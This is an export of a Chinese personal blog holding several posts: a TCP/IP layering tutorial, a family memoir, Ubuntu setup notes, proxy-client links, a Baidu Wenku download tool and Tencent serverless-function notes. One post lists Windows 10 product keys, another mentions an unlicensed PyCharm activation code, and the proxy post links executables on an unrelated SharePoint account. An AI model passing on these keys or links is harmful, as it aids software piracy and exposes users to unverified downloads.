<p>如果对文章中的内容有疑问或者想要了解更多软件工程上一些设计决策背后的原因，可以在博客下面留言，作者会及时回复本文相关的疑问并选择其中合适的主题作为后续的内容。</p>
</blockquote>
<h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h3><ul>
<li><a class="link"   href="https://tools.ietf.org/html/rfc793"  target="_blank" rel="noopener">RFC 793 - Transmission Control Protocol - IETF Tools<i class="fas fa-external-link-alt"></i></a></li>
<li><a class="link"   href="https://networkengineering.stackexchange.com/questions/24068/why-do-we-need-a-3-way-handshake-why-not-just-2-way"  target="_blank" rel="noopener">Why do we need a 3-way handshake? Why not just 2-way?<i class="fas fa-external-link-alt"></i></a></li>
</ul>
]]></content>
      <categories>
        <category>docs</category>
        <category>basic</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>network,tcp,handshake</tag>
      </tags>
  </entry>
  <entry>
    <title>sofar</title>
    <url>/2020/08/24/sofar/</url>
    <content><![CDATA[<p><img src="https://images.yrzdm.com/imgs/20200824/Bj4scjqFnsJc.png?imageslim" alt="近远"></p>
<a id="more"></a>

<p>弟弟订婚，顶着大雨回家，去看了看爷爷。</p>
<p>每次的心情就像Nightswish所唱《I Want My Tears Back》一样。Before the years take me , I wish to see the lost in me . I want my tears back…</p>
<p>爷爷现在已经开始糊涂，虽然每次去每个人名字都能叫得上来，因为在养老院，更多的是院长和护工的照顾，因为长期的陪伴关系，爷爷开始把院长认为是他的家人。虽然糊涂，但是每次还是叫着让奶奶来。</p>
<p>小时候我发育比较晚，个子比较矮。爷爷给我做了小弓箭，长大一点后，爷爷又用竹子做了一个大版的弓箭，我不知道爷爷是怎么会的，但是爷爷做的弓箭非常的精良。</p>
<p>因为务农的缘故，虽然个子矮但是农活还是要做的，当时爸妈在外打工我算是留守儿童，爷爷还给做了一份小尺寸的农具，有平耙，有扬锨等，大伯在时经常说我“小人小马小刀枪”。</p>
<p>小时候爷爷说我是属狗的，经常把家里的东西拖到外边去，然后弄丢。再大点，别人家都在放风筝，爷爷给我做了一个八卦风筝，连300m的线滚对于当时的我来说是负担也是骄傲。</p>
<p><img src="https://images.yrzdm.com/imgs/20200824/OyvpSAiiQXvS.png?imageslim" alt="八卦风筝"></p>
<p>大概是这样，里面还有好多细节。</p>
<p>爷爷当了一辈子的优秀共产党员，如今还要迷糊的和养老院的院长一起建党支部，“还有这么熊气的单位，连个党支部也没有….”</p>
<p>如今我因沉迷城里的生活却不能陪伴爷爷变老…爷爷残缺的晚年也是我残缺的当前。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>live</category>
        <category>memory</category>
      </categories>
      <tags>
        <tag>live</tag>
      </tags>
  </entry>
  <entry>
    <title>TCP/IP基础知识总结</title>
    <url>/2020/11/05/tcpip/</url>
    <content><![CDATA[<p>我们接触计算机网络最多的协议，那就是TCP/IP协议了，TCP/IP协议同时也是互联网中最为著名的协议。</p>
<a id="more"></a>

<h3 id="TCP-IP的历史背景"><a href="#TCP-IP的历史背景" class="headerlink" title="TCP/IP的历史背景"></a>TCP/IP的历史背景</h3><p>最初还没有TCP/IP协议的时候，也就是再20世纪60年代，许多国家和地区认识到通信技术的重要性。美国国防部希望能够研究一种即时通信线路被破坏也能够通过其他路线进行通信的技术。为了实现这种技术，出现了<strong>分组</strong>网络。</p>
<p><img src="https://images.yrzdm.com/imgs/20201103/wFis57CA2YOm.png?imageslim" alt="分组网络"></p>
<p>即使再两个节点通信的过程中，几个节点遭到破坏，却依然能够通过改变线路等方式使得两个节点之间进行通信。</p>
<p>这种分组网络促使了<strong>ARPANET（advanced Research Projects Agency Network）</strong>的诞生。ARPANET是第一个具有分布式控制的广域包分t组交换网络，也是最早实现TCP/IP协议的前身。</p>
<p><img src="https://images.yrzdm.com/imgs/20201104/YPnHWGVAQHxa.png?imageslim" alt="TCP/IP协议包含的协议"></p>
<p>以上协议汇总起来，就是TCP/IP协议蔟。</p>
<h3 id="TCP-IP标准"><a href="#TCP-IP标准" class="headerlink" title="TCP/IP标准"></a>TCP/IP标准</h3><p>TCP/IP 相较于其他的协议标准，更注重<strong>开放性</strong>和<strong>实用性</strong>，即标准能否被实际应用。TCP/IP标准协议就是我们班所熟知的<strong>RFC文档</strong>，RFC不仅规范了协议标准还包含了协议的实现和使用信息。</p>
<p><a class="link"   href="https://www.rfc-editor.org/rfc-index.html"  target="_blank" rel="noopener">More about RFC<i class="fas fa-external-link-alt"></i></a></p>
<h3 id="TCP-IP协议簇"><a href="#TCP-IP协议簇" class="headerlink" title="TCP/IP协议簇"></a>TCP/IP协议簇</h3><p>OSI模型一共有七层，从下到上分别是物理层，数据链路层，网络层，传输层(运输层)，会话层，表示层和应用层。</p>
<p>简化为：应用层，传输层，网络层，通信链路层。</p>
<p><img src="https://images.yrzdm.com/imgs/20201104/2R7lQxHvCCz2.png?imageslim" alt="简化协议簇"></p>
<p>我们从通信链路层开始介绍一下这些系一层以及层之间的协议。</p>
<h4 id="通信链路层"><a href="#通信链路层" class="headerlink" title="通信链路层"></a>通信链路层</h4><p>如果非要细分的话，通信链路层也可以分为物理层和数据链路层。</p>
<h4 id="物理层"><a href="#物理层" class="headerlink" title="物理层"></a>物理层</h4><p>物理层是TCP/IP的最底层是负责传输的硬件，这种哦硬件就相当于是以太网或者电话线路等物理层的设备。</p>
<h4 id="数据链路层"><a href="#数据链路层" class="headerlink" title="数据链路层"></a>数据链路层</h4><p>数据链路层位于物理层和网络层中间，数据链路层定义了在单个链路上如何传输数据。</p>
<h4 id="网络层"><a href="#网络层" class="headerlink" title="网络层"></a>网络层</h4><p>网络层主要使用<strong>IP</strong>协议，IP协议基于IP地址转发分包数据。<br><img src="https://images.yrzdm.com/imgs/20201104/t3zhMe2TUgk2.png?imageslim" alt="网络层"></p>
<p>IP协议的主要作用就是将分组数据包发送到目标主机。<br>TCP/IP 分层中的互联网层与传输层的功能通常由操作系统提供。<br>IP协议还隐含着数据链路层的功能，通过IP协议，相互通信的主机之间不论经过怎样的数据链路，都能够实现相互通信。<br>虽然IP也是一种分组交换协议，但是IP协议却不具备重发机制。及时数据没有到达另一端也不会进行重发，所以IP属于非可靠性协议。</p>
<p>网络层还有一种协议就是<strong>ICMP</strong>，因为IP协议在数据包的发送过程中可能会出现异常，当IP数据包因为异常而无法到达目标地址时，需要给发送端发送一个异常通知，ICMP的主要功能就在于此，ICMP也可以被用来诊断网络状况。</p>
<h4 id="传输层"><a href="#传输层" class="headerlink" title="传输层"></a>传输层</h4><p>TCP协议是传输层协议的一种</p>
<p>传输层就像高速公路一样，连接两个城市的道路。它的主要功能是让应用层的应用程序之间完成通信和数据交换。在计算机内部运行着很多应用程序，每个应用程序对应一个端口号，我们一般使用端口号来区分这些应用程序。<br><img src="https://images.yrzdm.com/imgs/20201104/H0MHWQCotSfW.png?imageslim" alt="传输层"></p>
<p>传输层的协议主要分为面向有连接的协议TCP和面向无连接的协议UDP</p>
<h4 id="TCP"><a href="#TCP" class="headerlink" title="TCP"></a>TCP</h4><p>TCP是一种可靠的协议，它能够保证数据包的可靠性交付，TCP能够正确处理传输过程中的丢包、传输顺序错乱等异常情况。此外，TCP还提供拥塞控制用于缓解网络拥堵。</p>
<h4 id="UDP"><a href="#UDP" class="headerlink" title="UDP"></a>UDP</h4><p>UDP是一种不可靠协议，它无法保证数据的可靠交付，相比TCP，UDP不会检查数据包是否到达，网络是否阻塞等情况，但是UDP的效率比较高。</p>
<p>UDP协议常用于分组数据较少或者广播，多播等视频通信和多媒体领域。</p>
<h3 id="应用层"><a href="#应用层" class="headerlink" title="应用层"></a>应用层</h3><p>在TCP/IP协议簇中，将OSI标准模型中的会话层，表示层都归为应用层。应用层的架构大多属于客户端/服务端模型。在这种架构中，服务端通常会提前部署到服务器上，等待客户端的连接，从而提供服务。</p>
<p><img src="https://images.yrzdm.com/imgs/20201104/IiElWxTMUlcV.png?imageslim" alt="应用层"></p>
<h3 id="数据包的发送过程"><a href="#数据包的发送过程" class="headerlink" title="数据包的发送过程"></a>数据包的发送过程</h3><h4 id="数据包结构"><a href="#数据包结构" class="headerlink" title="数据包结构"></a>数据包结构</h4><p><img src="https://images.yrzdm.com/imgs/20201104/7gQO3mKkTNs9.png?imageslim" alt="数据包结构"></p>
<p>在每一层中，都会对所发送的数据增加一个<strong>头</strong> ，这个头中包含了该层必要的信息。每一层都会对数据进行处理并在数据包中附上这一层的必要信息。</p>
<h4 id="应用层的处理"><a href="#应用层的处理" class="headerlink" title="应用层的处理"></a>应用层的处理</h4><p>主机A打开某应用程序，或者打开聊天窗口输入<strong>Hello</strong>，点击发送，那么这个<strong>Hello</strong>就作为一个数据包遨游在网络中，首先应用层会对这个数据包进行处理，包括字符编码、格式化等等，这其实是OSI中表现层的工作，只不过在TCP/IP协议中都归为了应用层。<br>数据包在发送的那一刻建立TCP连接，这个连接相当于通道，在这之后其他数据包也会使用通道传输数据。</p>
<h4 id="传输层的处理"><a href="#传输层的处理" class="headerlink" title="传输层的处理"></a>传输层的处理</h4><p>为了描述信息能够准确的到达另一方，我们使用TCP协议来进行描述。TCP会根据应用的指示，负责建立连接，发送数据和断开连接。</p>
<p>TCP会在应用数据层的前端附加一个TCP的头部字段，TCP头部包含了<strong>源端口号</strong>和<strong>目标端口号</strong>，这两个端口号用于表明数据包是从哪里发出的，需要发送到哪个应用程序上；TCP头部还包含<strong>序号</strong>，用于表示该包中数据是发送端整个数据中的第几个字节的序列号；TCP头部还包含<strong>校验和</strong>，用于判断数据是否损坏，随后将TCP头部附加在数据包的头部发送给IP</p>
<h4 id="网络层的处理"><a href="#网络层的处理" class="headerlink" title="网络层的处理"></a>网络层的处理</h4><p>网络层主要负责处理数据包的是IP协议，IP协议将TCP传过来的TCP头部和数据结合当作自己的数据，并在TCP头部的前端加上自己的IP头部。因此，IP数据包后面会紧跟着TCP数据包，后面才是数据本身。IP头部包含目标地址和源地址，紧随在IP头部的还有用来判断后面是TCP还是UDP的信息。</p>
<p>IP包生成后，会由路由控制表判断应该发送到哪个主机，IP修饰后的数据继续向下发送给路由器或者网络接口的驱动程序，从而实现真正的数据传输。</p>
<h4 id="通信链路层的处理"><a href="#通信链路层的处理" class="headerlink" title="通信链路层的处理"></a>通信链路层的处理</h4><p>经由IP传过来的数据包，以太网会给数据包附上以太网的头部信息并进行发送处理。以太网头部信息包含接收端的MAC地址、发送端的MAC地址以及以太网类型的以太网数据协议等。</p>
<p>以下是完整的处理过程和解析过程。</p>
<p><img src="https://images.yrzdm.com/imgs/20201104/jNAT6FJbiQXq.png?imageslim" alt="传输解析"></p>
<p>左侧是数据的发送处理过程，应用层数据经过层层处理后变为可以发送昂的数据包，经过物理介质发送到指定主机中。</p>
<p>数据包的接收流程是发送流程的逆序过程，数据包的解析同样会经过下面这几步。</p>
<h4 id="通信链路的解析"><a href="#通信链路的解析" class="headerlink" title="通信链路的解析"></a>通信链路的解析</h4><p>目标主机收到数据包后，首选会从以太网的头部找到MAC地址判断是否是发给自己的数据包，如果不是发给自己的数据包则会丢弃该数据包。</p>
<p>如果收到的数据包是发送给自己的，就会查找以太网类型判断是那种协议，如果是IP协议就会扔给IP协议进行处理。如果是<strong>ARP</strong>协议就会给ARP协议进行处理。如果协议类型是一宗无法识别的协议，就会将该数据包直接丢弃。</p>
<h4 id="网络层的解析"><a href="#网络层的解析" class="headerlink" title="网络层的解析"></a>网络层的解析</h4><p>经过以太网处理后的数据包扔给网络层进行处理，我们假设协议类型是IP协议，那么，在IP收到数据包后就会解析IP头部信息，判断IP头部信息中的IP地址是否和自己的IP地址匹配，如果匹配则接受数据并判断上一层协议是TCP还是UDP，如果不匹配则直接丢弃。</p>
<blockquote>
<p>在路由的转发过程中，有的时候IP地址并不是自己的，这个时候需要借助路由表协助处理。</p>
</blockquote>
<h4 id="传输层的处理-1"><a href="#传输层的处理-1" class="headerlink" title="传输层的处理"></a>传输层的处理</h4><p>在传输层中，我们默认使用TCP协议，在TCP处理过程中，首先会计算一下<strong>校验和</strong>，判断数据是否被损坏。然后检查是否按照序号接受数据，最后检查端口号，确定具体是哪个应用程序。</p>
<p>数据被完整识别后，会传递给由端口号识别的应用程序进行处理。</p>
<h4 id="应用程序的处理"><a href="#应用程序的处理" class="headerlink" title="应用程序的处理"></a>应用程序的处理</h4><p>接收端指定的应用程序会处理发送方传递过来的数据，通过解码等操作识别出数据的内容，然后把对应的数据存储在磁盘上，返回一个保存成功的消息给发送方，如果保存失败，则返回错误消息。</p>
<p>数据包经过每层后，该层协议都会在数据包附上头部信息。</p>
<p><img src="https://images.yrzdm.com/imgs/20201105/mhGyjVXW77LA.png?imageslim" alt="包解析处理"></p>
<p>在数据包的发送过程中，各层以此对数据包添加了头部信息，每个头部都包含发送端和接收端地址以及上一层的协议类型。以太网会使用MAC地址，IP会用IP地址，TCP/UDP则会用端口号作为识别两端主机的地址。</p>
<p>每个分层的包首部还包含一个识别位，它是用来标识上一层协议的种类信息。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>basic,protocol,network</tag>
      </tags>
  </entry>
  <entry>
    <title>ubuntu-lts</title>
    <url>/2015/09/25/ubuntu-lts/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200229/9QuvdFlv9rJq.jpg" alt="mark"></p>
<p>前几天心血来潮看到都在说 Elementary 这个Ubuntu的分支是最美的。于是趁着有点闲空，就做了个启动盘，Elementary可以正确识别之前安装的Ubuntu，然后就执行了覆盖安装。</p>
<a id="more"></a>

<p>Elementary确实有着独到的美感，有点像MAC的感觉，但是很多的软件都是非常的不常见，有点差异化发展的意思。<br>但是并没有Ubuntu好用，遂决定再回到Ubuntu的环境。</p>
<p>说起Ubuntu，这要追溯到2008年，当时Ubuntu为了推广，在网上发布了免费申请Ubuntu的安装光盘的活动，立马就申请了（32bit和64bit各一份），暑假之前申请，历经2个多月的大学暑假，大概是开学一个多月后，收到学校邮局的通知，当时因为地址填写的是英文，据邮局的工作人员说有三四个老师轮番翻译了一边才正确投递。</p>
<p>拿到手的第一时间就感觉好兴奋，当时就被Ubuntu的人文情感所迷倒，人生的第一份来自地球另一端的快件。还附赠了logo贴纸，至今我都留着没舍得乱贴。封面设计非常简单，四个来自不同国家的年轻人躺在草地上，就这样的简单意境，对我对IT的认知产生了新的影响。</p>
<p>Canonical 在今年的4月发布了16.04 LTS（Xenial Xerus）发布说这是一个长期支持版本，官方会提供长达5年的Techinical Support，也就是大概可以支持到2021年4月左右，这也是决定要重新安装回到Ubuntu的一个原因。</p>
<p>附上下载地址：<br>Ubuntu 16.04 LTS官方镜像下载：</p>
<p>32位：<a class="link"   href="http://releases.ubuntu.com/16.04/ubuntu-16.04-desktop-i386.iso"  target="_blank" rel="noopener">http://releases.ubuntu.com/16.04/ubuntu-16.04-desktop-i386.iso<i class="fas fa-external-link-alt"></i></a></p>
<p>64位：<a class="link"   href="http://releases.ubuntu.com/16.04/ubuntu-16.04-desktop-amd64.iso"  target="_blank" rel="noopener">http://releases.ubuntu.com/16.04/ubuntu-16.04-desktop-amd64.iso<i class="fas fa-external-link-alt"></i></a></p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs plain">关于如何安装就不在这里赘述了，网上可以GG到一大片，恩想要GG的可以看Google Mirror这篇文章。<br></code></pre></td></tr></table></figure>

<p>关于SUBLIME TEXT3的中文输入问题</p>
<figure class="highlight armasm"><table><tr><td class="code"><pre><code class="hljs armasm">因为安装这个Linux主要是为了Python的开发环境，所以围绕着Python做了环境部署。<br>编辑及IDE环境使用 Pycharm VIM Gedit atom <span class="hljs-keyword">Sublime </span>Text3<br>其中，在<span class="hljs-keyword">SublimeText3 </span>解决无法使用中文的问题，网上的答案几乎出自同一个人，但是并不好用，需要生成共用的配置文件等。其实在github上有个更为简单的解决方法。<br></code></pre></td></tr></table></figure>

<p><a class="link"   href="https://github.com/lyfeyaj/sublime-text-imfix"  target="_blank" rel="noopener">github/lyfeyaj<i class="fas fa-external-link-alt"></i></a></p>
<figure class="highlight sql"><table><tr><td class="code"><pre><code class="hljs sql">Step to <span class="hljs-keyword">use</span> this repo<br><span class="hljs-number">1.</span><span class="hljs-keyword">Update</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">then</span> <span class="hljs-keyword">upgrade</span> your <span class="hljs-keyword">system</span> <span class="hljs-keyword">to</span> the newest<br><span class="hljs-string">`sudo apt-get updat &amp;&amp; sudo apt-get updrade`</span><br><span class="hljs-number">2.</span><span class="hljs-keyword">Clone</span> this repo <span class="hljs-keyword">in</span> your <span class="hljs-keyword">local</span> <span class="hljs-keyword">directory</span>:<br><span class="hljs-string">`git clone https://github.com/lyfeyaj/sublime-text-imfix.git`</span><br><span class="hljs-number">3.</span><span class="hljs-keyword">Change</span> your <span class="hljs-keyword">current</span> <span class="hljs-keyword">directory</span> <span class="hljs-keyword">to</span> sublime-<span class="hljs-built_in">text</span>-imfix:<br><span class="hljs-string">`cd sublime-text-imfix`</span><br><span class="hljs-number">4.</span>Run the below script:<br><span class="hljs-string">`./sublim-imfix`</span><br><span class="hljs-number">5.</span>Done! Re-login Ubuntu.And <span class="hljs-keyword">then</span> you gan enjoy <span class="hljs-keyword">using</span> Sublime Text3!<br></code></pre></td></tr></table></figure>

<p>关于有道词典的安装.</p>
<figure class="highlight vim"><table><tr><td class="code"><pre><code class="hljs vim">有道词典提供Linux的<span class="hljs-keyword">deb</span>安装包，但是下载了Ubuntu <span class="hljs-number">64</span>bit的安装包无法正常安装，使用install -<span class="hljs-keyword">f</span>解决依赖包的问题也无法正常解决，看到页面置顶的是Deepin的<span class="hljs-keyword">deb</span>包尝试了一下 下载后直接一步安装成功～<br></code></pre></td></tr></table></figure>

<p>关于Pycharm</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">现在来看使用Pycharm的人越来越多，而且Pycharm也相对智能人性一些，在创建Project的时候提供选择语言环境，是Python2还是Python3，有点类似使用Python自己的虚拟环境的感觉。<br>注意 <span class="hljs-number">2016</span>版本使用网上的 Lisence server已经失效，不过还是侥幸找到一枚可用的激活码。<br></code></pre></td></tr></table></figure>



<p>Ubuntu install</p>
<p>Ubuntu下的多线程下载工具<br>Uget和aria2下载神器，类似win下的迅雷 旋风等工具</p>
<p><strong>Install</strong><br>1.添加依赖<br><code>sudo add-apt-repository ppa:plushuang-tw/uget-stable</code><br><code>sudo add-apt-repository ppa:t-tujikawa/ppa</code><br>2.更新依赖<br><code>sudo apt-get update</code><br>3.安装uget 、aria2<br><code>sudo apt-get install uget aria2</code><br>4.配置<br>将最大连接数设置为16<br>uget—All Category—右键—Properties—Default for new download1—Max Connections—16<br>开启aria插件<br>uget—右键—settings—Plug-in—Plug-in matching order—aria2<br>同时，下方的arguments: –enable-rpc=true</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>system</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Ubuntu</tag>
        <tag>install</tag>
      </tags>
  </entry>
  <entry>
    <title>Science and the Internet</title>
    <url>/2018/08/07/universets/</url>
    <content><![CDATA[<p>普及一下科学冲浪技巧</p>
<h2 id="普及一下ssr"><a href="#普及一下ssr" class="headerlink" title="普及一下ssr"></a>普及一下ssr</h2><h3 id="基本原理是在歪果仁哪里租一台服务器，然后在服务器上搭建一个反向代理的服务，歪果仁的服务器访问歪果仁的站点肯定是so爽so快soEasy。"><a href="#基本原理是在歪果仁哪里租一台服务器，然后在服务器上搭建一个反向代理的服务，歪果仁的服务器访问歪果仁的站点肯定是so爽so快soEasy。" class="headerlink" title="基本原理是在歪果仁哪里租一台服务器，然后在服务器上搭建一个反向代理的服务，歪果仁的服务器访问歪果仁的站点肯定是so爽so快soEasy。"></a>基本原理是在歪果仁哪里租一台服务器，然后在服务器上搭建一个反向代理的服务，歪果仁的服务器访问歪果仁的站点肯定是so爽so快soEasy。</h3><blockquote>
<p>使用方式，打开app然后去找可用的节点，ssr：或者ss：开头的一串乱码》》》 或者是使用软件扫描节点的二维码，直接输入节点信息也可以。</p>
</blockquote>
<p>&nbsp;&nbsp;&nbsp;<img src="https://i.loli.net/2018/08/10/5b6d5b0696832.png" height="20px"  width="25px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&lt;img src=”<a class="link"   href="https://i.loli.net/2018/08/10/5b6d69daea50a.png&quot;"  target="_blank" rel="noopener">https://i.loli.net/2018/08/10/5b6d69daea50a.png&quot;<i class="fas fa-external-link-alt"></i></a> height=”10px” width=”10px” &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="https://i.loli.net/2018/08/10/5b6d5b5544a7b.png" height="20px" width="25px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="https://i.loli.net/2018/08/10/5b6d5c637c372.png" height="25px"  width="25px"></p>
<table>
<thead>
<tr>
<th align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;win</th>
<th align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mac</th>
<th align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iOS</th>
<th align="center">&nbsp;&nbsp;&nbsp;&nbsp;Android</th>
</tr>
</thead>
<tbody><tr>
<td align="center"><a class="link"   href="https://stusmanraschid-my.sharepoint.com/:u:/g/personal/roy_stu_smanra_sch_id/ERZyynbnsBVJnuhWfSG_nSYBLm9Akvg_1j-8EhTbyD35dw?e=H6CCtS"  target="_blank" rel="noopener">windows<i class="fas fa-external-link-alt"></i></a></td>
<td align="center"><a class="link"   href="https://stusmanraschid-my.sharepoint.com/:u:/g/personal/roy_stu_smanra_sch_id/EcWUjcEomntOobsSqmhjPWgBIejGykM4PeeRaf_UxzyNVg?e=zdSSvl"  target="_blank" rel="noopener">Mac<i class="fas fa-external-link-alt"></i></a></td>
<td align="center">联系我下载</td>
<td align="center"><a class="link"   href="https://stusmanraschid-my.sharepoint.com/:u:/g/personal/roy_stu_smanra_sch_id/EXFjOweAE4tPt_yEB1bLnDIBzAzPQ3zVgakBtOQkbXMD1g?e=a7X8ZN"  target="_blank" rel="noopener">Android<i class="fas fa-external-link-alt"></i></a></td>
</tr>
</tbody></table>
<p><em>请低调传播</em></p>
]]></content>
      <categories>
        <category>ssr</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>ssr,shadow,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>Baidu wenku</title>
    <url>/2018/08/17/wenku/</url>
    <content><![CDATA[<p><img src="https://i.loli.net/2018/08/24/5b7f60d96c413.jpg" alt="wenku"></p>
<h2 id="日常无论是工作还是生活都可能需要用到百毒文库"><a href="#日常无论是工作还是生活都可能需要用到百毒文库" class="headerlink" title="日常无论是工作还是生活都可能需要用到百毒文库"></a>日常无论是工作还是生活都可能需要用到百毒文库</h2><p>好多都是需要花钱的， 或者你没有下载券，今天分享一个工具，也为自己做个Mark。</p>
<a id="more"></a>

<p>工具网址：<a class="link"   href="http://www.1234866.com/"  target="_blank" rel="noopener">http://www.1234866.com/<i class="fas fa-external-link-alt"></i></a></p>
<blockquote>
<p><em>只能下载 使用下载券下载的文档。</em></p>
</blockquote>
]]></content>
      <categories>
        <category>baidu</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>baidu,data,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>Windows Collections</title>
    <url>/2018/11/22/windows-collections/</url>
    <content><![CDATA[<p>##windows 10 license</p>
<p><strong>license</strong><br>Win10专业版 7M2H3-J3VPB-2X2DK-33CC2-CHPH4 ​<br>Win10 企业版：XCBWP-GN2BX-QJDYV-XQV7K-C7JWR Win10<br>专业版：V942D-C7NFG-773PY-MT398-F3KTY</p>
<p>Collection up to spare</p>
]]></content>
      <categories>
        <category>license</category>
        <category>windows</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>windows,license,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>腾讯云函数踩坑记录</title>
    <url>/2021/03/10/tencent-scf/</url>
    <content><![CDATA[<p>之前使用腾讯云函数作为喝水提醒以及自动化打卡提醒/执行，微信刷步等操作，但是云函数最赞的其实是作为一个独立的api来使用。</p>
<p>因为一开始搞不明白，想要在云函数上部署一个fastapi 作为接口来接受请求参数，处理请求并返回json数据。因为文档看的不够仔细，导致走了很多的弯路。</p>
<p>其实单函数，使用api网关触发器即可实现一个web api的服务，并不需要使用http server来作为服务支撑。</p>
<h4 id="函数入参"><a href="#函数入参" class="headerlink" title="函数入参"></a>函数入参</h4><p>如果作为api来使用，定义的函数肯定是要接受外部参数的，函数入参就是函数在被触发调用时所传递给函数的内容。</p>
<p><strong>event入参</strong></p>
<p>参数类型为<code>dict</code>。将<code>event</code>入参传递给执行方法，实现代码与触发函数(event)交互。</p>
<blockquote>
<ul>
<li>云函数被其他应用程序调用时，您可以在调用方和函数代码之间自定义一个 <code>dict</code> 类型的参数。调用方按照定义好的格式传入数据，函数代码按格式获取数据。<br>例如，定义一个 <code>dict</code> 类型的数据结构 <code>{&quot;key&quot;:&quot;XXX&quot;}</code>，当调用方传入数据 <code>{&quot;key&quot;:&quot;abctest&quot;}</code> 时，函数代码可以通过 <code>event[key]</code> 来获得值 <code>abctest</code>。</li>
</ul>
</blockquote>
<p><strong>context入参</strong></p>
<p>将context入参传递给执行方法，代码将通过<code>context</code>入参对象。</p>
<figure class="highlight"><table><tr><td class="code"><pre><code class="hljs json">&#123;<br>    getRemainingTimeInMillis: [Function: getRemainingTimeInMillis],<br>    memory_limit_in_mb: 128,<br>    time_limit_in_ms: 3000,<br>    request_id: '4ca7089c-3bb0-48cf-bcdb-26d130fed2ae',<br>    environment: '&#123;"SCF_NAMESPACE":"default"&#125;',<br>    environ: 'SCF_NAMESPACE=default;SCF_NAMESPACE=default',<br>    function_version: '$LATEST',<br>    function_name: 'test',<br>    namespace: 'default',<br>    tencentcloud_region: 'ap-chengdu',<br>    tencentcloud_appid: '1253970226',<br>    tencentcloud_uin: '3473058547' <br>&#125;<br></code></pre></td></tr></table></figure>

<p>Python 环境下的入参包括 event 和 context，两者均为 Python dict 类型。</p>
<ul>
<li>event：使用此参数传递触发事件数据。</li>
<li>context：使用此参数向您的处理程序传递运行时信息。</li>
</ul>
<h4 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h4><p>在安装依赖这个地方碰见的坑比较多，当时只需要安装<code>requests-html</code>这个module，但是这个module本身在安装以及调用中也需要依赖多个modules。在lib site-package中单纯的将这个module上传到云函数，会抛出多个modules 异常。</p>
<p>解决方案，将当前环境下所有的依赖包的包文件夹上传到函数的同级目录下。</p>
<h4 id="Api-网关触发器"><a href="#Api-网关触发器" class="headerlink" title="Api 网关触发器"></a>Api 网关触发器</h4><p>api网关触发器，可以将单函数作为web的后端接口服务，对外网提供服务。</p>
<p><strong>集成请求与透传请求</strong></p>
<p>在配置api 网关触发器的时候，默认是开启集成请求的。</p>
<blockquote>
<p>集成请求，是指 API 网关会将 HTTP 请求内容，转换为请求数据结构；请求数据结构作为函数的 event 输入参数，传递给函数并进行处理。</p>
</blockquote>
<p>透传请求，是指 API 网关会将 HTTP 请求的 body 内容作为函数的 event 输入参数传递给函数，透传请求目前还处于规划过程中。对于透传请求，要求 HTTP 请求的 body 内容为 JSON 数据结构内容。</p>
<p>当您需要将图片或文件通过 API 网关传入云函数时，需要将图片或文件进行 Base64 编码。</p>
<p><strong>API 网关触发器的集成请求事件消息结构</strong></p>
<p>在 API 网关触发器接收到请求时，会将类似以下 JSON 格式的事件数据发送给绑定的云函数。</p>
<figure class="highlight json"><table><tr><td class="code"><pre><code class="hljs json">&#123;<br> <span class="hljs-attr">"requestContext"</span>: &#123;<br>   <span class="hljs-attr">"serviceId"</span>: <span class="hljs-string">"service-f94sy04v"</span>,<br>   <span class="hljs-attr">"path"</span>: <span class="hljs-string">"/test/&#123;path&#125;"</span>,<br>   <span class="hljs-attr">"httpMethod"</span>: <span class="hljs-string">"POST"</span>,<br>   <span class="hljs-attr">"requestId"</span>: <span class="hljs-string">"c6af9ac6-7b61-11e6-9a41-93e8deadbeef"</span>,<br>   <span class="hljs-attr">"identity"</span>: &#123;<br>     <span class="hljs-attr">"secretId"</span>: <span class="hljs-string">"abdcdxxxxxxxsdfs"</span><br>   &#125;,<br>   <span class="hljs-attr">"sourceIp"</span>: <span class="hljs-string">"10.0.2.14"</span>,<br>   <span class="hljs-attr">"stage"</span>: <span class="hljs-string">"release"</span><br> &#125;,<br> <span class="hljs-attr">"headers"</span>: &#123;<br>   <span class="hljs-attr">"Accept-Language"</span>: <span class="hljs-string">"en-US,en,cn"</span>,<br>   <span class="hljs-attr">"Accept"</span>: <span class="hljs-string">"text/html,application/xml,application/json"</span>,<br>   <span class="hljs-attr">"Host"</span>: <span class="hljs-string">"service-3ei3tii4-251000691.ap-guangzhou.apigateway.myqloud.com"</span>,<br>   <span class="hljs-attr">"User-Agent"</span>: <span class="hljs-string">"User Agent String"</span><br> &#125;,<br> <span class="hljs-attr">"body"</span>: <span class="hljs-string">"&#123;\"test\":\"body\"&#125;"</span>,<br> <span class="hljs-attr">"pathParameters"</span>: &#123;<br>   <span class="hljs-attr">"path"</span>: <span class="hljs-string">"value"</span><br> &#125;,<br> <span class="hljs-attr">"queryStringParameters"</span>: &#123;<br>   <span 